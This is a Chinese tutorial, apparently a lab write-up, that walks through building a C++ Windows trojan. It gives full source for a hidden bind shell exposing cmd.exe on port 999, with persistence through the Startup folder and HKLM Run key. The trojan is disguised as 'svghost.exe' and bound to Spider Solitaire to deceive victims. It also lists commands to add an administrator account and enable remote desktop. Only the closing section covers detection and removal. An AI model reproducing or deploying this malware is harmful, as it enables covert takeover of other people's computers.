目的
使用C++实现一个简单的木马,实现木马的远程控制功能,能够开机自启动和伪装或隐藏,最后通过清除本木马,掌握常规的木马排查和查杀方法。
工具:vc++6.0
攻击机:win10(ip随机) 靶机:192.168.1.129
一、木马是什么?
这是一个老生常谈的问题,木马(Trojan)这个名字来源于古希腊传说(荷马史诗中木马计的故事,Trojan一词的本意是特洛伊的,即代指特洛伊木马,也就是木马计的故事)。
二、木马隐藏技术
木马会想尽一切办法隐藏自己,主要途径有:在任务栏中隐藏自己,这是最基本的办法。只要把Form的Visible属性设为False,ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了(MFC编程)。在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。当然它也会悄无声息地启动,黑客当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载。Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、Win.ini、System.ini、注册表等都是“木马”藏身的好地方。木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
三、木马程序原理:
木马病毒的工作原理:一个完整的特洛伊木马套装程序含了两部分:服务端(服务器部分)和客户端(控制器部分)。植入对方电脑的是服务端,而黑客正是利用客户端进入运行了服务端的电脑。运行了木马程序的服务端以后,会产生一个有着容易迷惑用户的名称的进程,暗中打开端口,向指定地点发送数据(如网络游戏的密码,即时通信软件密码和用户上网密码等),黑客甚至可以利用这些打开的端口进入电脑系统。
四、编写后门型木马:
编写一个反弹shell的木马,能够伪装成其他应用程序(扫雷游戏,或者表白代码等伪装程序),点击运行后能够打开特定的端口(或可使用端口复用技术,更适合与服务器),等待客户端连接,客户端使用telnet后,便可反弹拿到shell,然后为所欲为(创建新的账号密码,远程桌面连接等)。
木马能够实现开机自启动,任务管理器中在应用程序一栏消失,在进程一栏中伪装成其他进程。
1.木马的功能模块图
2.代码实现各个部分
-开机自启动
windwos有一个自启动文件夹。在 系统启动时会自动运行开始->启动子菜单中的所有项目
注意:在Documents and Settings文件下有多个文件夹。
Administrator文件夹下的是对当前用户的专有账户生效
All Users文件下是对所有用户生效
所以一般为了方便我们都放在All Users文件下
要想实现它,我这里先介绍两个函数:
1)UINT GetSystemDirectory()函数
UINT GetSystemDirectory(LPTSTR lpBuffer,UINT uSize);
这个函数的参数 lpBuffer会返回系统路径,我们提取前面两位就是就可以得到系统分区,例如“C:”
2)DWORD GetModuleFileName()函数
DWORD GetModuleFileName(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
这个函数是返回我们程序自身的完整路径
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12
| #include<windows.h> #include<stdio.h> int main(void){ char FileName[MAX_PATH]; char TempPath[MAX_PATH]; char TempBuffer[MAX_PATH]; GetModuleFileName(NULL,FileName,sizeof(FileName)); GetSystemDirectory(TempPath,sizeof(TempPath)); sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\torjan.exe",TempPath[0],TempPath[1]); CopyFile(FileName,TempBuffer,TRUE); return 0; }
|
-将自己加入注册表启动项
自启动注册表路径有许多,大家可以自己了解一下,最常用的有:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
这里我们选择第一个,来编写代码,我们用到的主要函数只有一个:
1 2 3 4
| GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini");
GetPrivateProfileStringA("Main","ProcessPath",FileName,process_path,sizeof(process_path), ".\\config.ini");
|
我们分别设置了注册表的键和值,键为:kinni,值为FileName,FileName为木马文件的绝对路径
-开启端口
主要的办法是:建立CSocket开始,然后绑定端口999,接下来监听这个端口,然后接收来自客户端的命令,最后关闭这个CSocket。这是一个比较简单的正向连接后门程序。这个程序之所以说比较简单,系统重启这个木马就会被清除了。
创建socket连接的代码比较简单,大家都会,百度一大堆,就不再解释。
先说个小技巧:因为我们写的cmd木马,整个过程我们都不需要显示出cmd的黑窗窗,所以我们可以把cmd窗口直接屏蔽掉,使用:
1 2
| #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
|
因为我们最后要反弹本地shell给客户端,所以我们要先拿到本地cmd.exe的路径。
1 2 3
| GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
|
我们将所有代码整合一下,得到完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| #pragma comment(lib,"ws2_32.lib")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #include <winsock2.h> #include<windows.h> #include<stdio.h> #define MasterPort 999
void open_telnet(){ WSADATA WSADa; sockaddr_in SockAddrin; SOCKET CSocket, SSocket; int AddrSize; PROCESS_INFORMATION Processinfo; STARTUPINFO Startupinfo; char szCMDPath[255];
ZeroMemory(&Processinfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&Startupinfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA));
GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));
WSAStartup(0x202, &WSADa);
SockAddrin.sin_family = AF_INET; SockAddrin.sin_addr.s_addr = INADDR_ANY; SockAddrin.sin_port = htons(MasterPort); CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
bind(CSocket, (sockaddr*)&SockAddrin, sizeof(SockAddrin));
listen(CSocket, 1); AddrSize = sizeof(SockAddrin);
SSocket = accept(CSocket, (sockaddr*)&SockAddrin, &AddrSize); Startupinfo.cb = sizeof(STARTUPINFO); Startupinfo.wShowWindow = SW_HIDE; Startupinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; Startupinfo.hStdInput = (HANDLE)SSocket; Startupinfo.hStdOutput = (HANDLE)SSocket; Startupinfo.hStdError = (HANDLE)SSocket;
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &Startupinfo, &Processinfo); WaitForSingleObject(Processinfo.hProcess, INFINITE); CloseHandle(Processinfo.hProcess); CloseHandle(Processinfo.hThread);
closesocket(CSocket); closesocket(SSocket); WSACleanup(); }
int regedit(HKEY key, const char* reg_name, const char* key_name, const char* key_value) { HKEY hkResult; int ret=RegOpenKeyEx(key, reg_name, 0, KEY_ALL_ACCESS, &hkResult);
if(ret != 0) return ret;
ret=RegSetValueEx(hkResult, key_name, 0, REG_EXPAND_SZ, (CONST BYTE*)key_value, 75);
if(ret==0) { RegCloseKey(hkResult); return 0; } else { return ret; } }
int autopen(const char* key_name, const char* process_path) { char reg_name[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; return regedit(HKEY_LOCAL_MACHINE, reg_name, key_name, process_path); }
int main(void) {
char key_name[100]; char process_path[1024]; char FileName[MAX_PATH]; char TempPath[MAX_PATH]; char TempBuffer[MAX_PATH]; GetModuleFileName(NULL,FileName,sizeof(FileName)); GetSystemDirectory(TempPath,sizeof(TempPath)); sprintf(TempBuffer,"%c%c\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe",TempPath[0],TempPath[1]); CopyFile(FileName,TempBuffer,TRUE); GetPrivateProfileStringA("Main", "KeyName", "kinni", key_name, sizeof(key_name), ".\\config.ini"); GetPrivateProfileStringA("Main", "ProcessPath", "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\svghost.exe", process_path, sizeof(process_path), ".\\config.ini"); int ret = autopen(key_name, process_path); open_telnet(); return 0; }
|
-文件伪装
如上,我们代码编译运行后,得到一个exe文件,但是我们隐藏了命令行窗口,所以点击运行后,不会有任何反应。
但是谁都不会傻到直接运行这么一个什么都没有的代码,我们要跟其他的程序,绑在一起,偷偷执行,让靶机用户不知情。
我们可以从网上找到一些辅助工具,来帮助我们。我找了一款叫做ExeBinder.exe的软件。
这个程序可以将两个可执行文件捆绑为一个,但是在点击运行的时候,会同时运行两个文件。
对我们的木马来说,简直就是量身定制。
首先,将前面我们提到的功能,做一个封装,写成一个exe文件:叫做torjan.exe
(后面为了伪装效果,更改了程序名为svghost.exe)
再来看看现在的启动文件夹和注册表内容:
Ok,非常好。
运行一下我们的exe文件
可以看到启动文件夹和注册表项中,已经添加了。
功能正常,现在我们将它和正常的程序绑在一起,这里选择了蜘蛛纸牌,当然我们可以选择自己写的其他有趣的代码。
3.木马测试
首先肯定是靶机需要运行一次上面这个木马,才可以连接。
-连接测试
接下来,我们就来测试一下,我们是否能远程连接到靶机。
尝试使用另一台电脑(win10+Powershell)进行连接
成功弹回了shell。
-靶机观察
运行后,我们观察任务管理器:只显示蜘蛛纸牌,非常nice!
我们再来看看进程下面,
-重启再连接
电脑刚打开,提示开机时间时,已经可以连接到目标。
4.更多操作
我们连接到远程shell后,可以新建一个用户,然后加入管理员组。
1 2
| net user admin /add //创建admin 用户 密码为空 net localgroup adminators admin /add //赋与admin用户,管理员权限
|
然后开启远程桌面功能(也就是3389端口),连接后将自己这个用户隐藏掉。
1
| REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
|
but…….我在这里,并没有开启,原因是命令行提示我参数过多,可能是telnet过来的命令行,有点问题。
大家感兴趣可以自己试试。
五、木马清除
首先,我们需要观察自启动文件夹,将不正常和非必要自启动的程序全部删除。
然后,注册表自启动,所有Run下面的每个键值都要检查,尤其是值为某路径下.exe,你又不知道这个exe是什么,到对应目录查看该文件,删除键值。
清除木马,因为本木马使用了伪装,复制和注册表项,我们需要一一清除:
首先打开任务管理器,关闭蜘蛛纸牌应用程序,从进程中找到svghost.exe所有者为administrator,结束掉该进程;
然后,打开本地C盘启动文件夹,删除svghost.exe程序;
同时,删除本地的捆绑了木马的蜘蛛纸牌(或其他应用);
最后,打开注册表,进入自启动项(有很多,Run下面的都要仔细检查,但是本木马使用了比较经典的位置),HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除包含svghost.exe的对应键值关系。
重启电脑。